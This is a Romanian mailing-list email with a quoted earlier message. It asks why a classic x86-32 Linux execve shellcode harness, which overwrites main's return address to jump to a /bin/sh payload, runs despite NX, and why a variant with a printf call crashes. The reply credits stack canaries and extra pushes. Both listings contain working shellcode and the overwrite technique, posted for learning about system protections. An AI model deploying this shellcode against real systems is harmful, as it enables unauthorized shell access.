Buna ziua.<br><br>Pentru cei interesati :<br>Raspunsul la a doua intrebare l-am gasit. Pe scurt : canaries.<br><br>Mai detaliat : se pare ca GCC-ul, pentru orice functie, mai complicata<br>decat declararea unor variabile si atribuirea lor cu valori, genereaza<br>
cod assembler care contine PUSH-uri inainte de a face<br>PUSHL %EBP ; MOVL %ESP, %EBP. Asadar distanta nu mai este<br>de 2 words = 8 bytes, de la variabila ret pana la return-address-ul lui<br>main, salvat pe stiva inaintea apelarii lui main.<br>
<br>Totusi, raspunsul la prima intrebare nu l-am gasit.<br><br>Alexandru<br><br><br><div class="gmail_quote">2012/6/5 Alexandru Goia <span dir="ltr"><<a href="mailto:goia.alexandru.linux@gmail.com" target="_blank">goia.alexandru.linux@gmail.com</a>></span><br>
<blockquote class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Buna ziua,<br><br>Sa zicem ca avem urmatorul cod sursa :<br><br>char sc[]= /* 24 bytes */<br>
"\x31\xc0" /* xorl %eax,%eax */<br> "\x50" /* pushl %eax */<br>
"\x68""//sh" /* pushl $0x68732f2f */<br> "\x68""/bin" /* pushl $0x6e69622f */<br> "\x89\xe3" /* movl %esp,%ebx */<br>
"\x50" /* pushl %eax */<br> "\x53" /* pushl %ebx */<br> "\x89\xe1" /* movl %esp,%ecx */<br>
"\x99" /* cdql */<br> "\xb0\x0b" /* movb $0x0b,%al */<br> "\xcd\x80" /* int $0x80 */<br>
;<br><br>main()<br>{<br> int *ret;<br><br> ret = (int *)&ret + 2;<br> *ret = sc;<br><br>}<br><br>Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).<br><br>Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel 32-bit),<br>
caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,<br>de la adresa 0x08048000, in care se alfa main(), si o pagina read & write (but no exec),<br>in care se afla sc[], de la adresa 0x08049000.<br>
<br>In main, tot ce facem este sa suprascriem pe stiva (care este read & write)<br>adresa de return a lui main(), care suprascrisa trimite la cod executabil de la<br>adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.<br>
<br>So, DE CE functioneaza, totusi ?<br><br>Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,<br>si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face rwx pe pagini.<br>(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele cazuri).<br>
<br><br>Partea a 2-a :<br><br>Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai jos,<br>vom obtine de fiecare data segmentation fault. <br><br>Intrebare : DE CE aici nu "merge", si mai sus "merge" ?<br>
<br>#include <stdio.h><br><br>char sc[]= /* 24 bytes */<br> "\x31\xc0" /* xorl %eax,%eax */<br> "\x50" /* pushl %eax */<br>
"\x68""//sh" /* pushl $0x68732f2f */<br> "\x68""/bin" /* pushl $0x6e69622f */<br> "\x89\xe3" /* movl %esp,%ebx */<br>
"\x50" /* pushl %eax */<br> "\x53" /* pushl %ebx */<br> "\x89\xe1" /* movl %esp,%ecx */<br>
"\x99" /* cdql */<br> "\xb0\x0b" /* movb $0x0b,%al */<br> "\xcd\x80" /* int $0x80 */<br>
;<br><br>main()<br>{<br> int *ret;<br><br> ret = (int *)&ret + 2;<br> *ret = sc;<br>
<br> printf("Security\n");<br>}<br><br><br>Referinte :<br><a href="http://www.enderunix.org/docs/en/bof-eng.txt" target="_blank">http://www.enderunix.org/docs/en/bof-eng.txt</a><br><a href="http://www.phrack.org/issues.html?issue=49&id=14#article" target="_blank">http://www.phrack.org/issues.html?issue=49&id=14#article</a><br>
<br>Cu gandul ca doar cu o cunoastere temeinica a subiectului<br>si a feature-urilor de securitate pe care le ofera sistemul de operare<br>putem dormi linistiti daca avem servere conectate la Internet :-),<br>va multumesc,<br>
Alexandru
</blockquote></div><br>